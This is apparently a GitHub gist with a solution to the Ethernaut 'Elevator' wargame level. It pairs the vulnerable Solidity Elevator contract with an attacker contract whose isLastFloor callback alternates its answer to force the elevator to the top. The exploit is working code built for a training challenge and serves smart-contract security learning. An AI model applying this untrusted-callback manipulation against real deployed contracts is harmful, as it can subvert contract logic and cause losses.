Skip to content

Instantly share code, notes, and snippets.

@tennisonchan
Created January 17, 2022 19:18
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tennisonchan/964bc61cace1c01c02615331f9b75208 to your computer and use it in GitHub Desktop.
Save tennisonchan/964bc61cace1c01c02615331f9b75208 to your computer and use it in GitHub Desktop.
Ethernaut - Level 11 - Elevator
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Elevator.sol";
contract Controll {
Elevator public target;
uint public count;
constructor(address targetAddress) public {
// 0x2bE60A41Fadb92c02c0D9Af79D61F8756CF77349
target = Elevator(targetAddress);
count = 0;
}
function isLastFloor(uint _floor) external returns (bool) {
count++;
return count % 2 == 0;
}
function goToTheRoof(uint _floor) public {
target.goTo(_floor);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment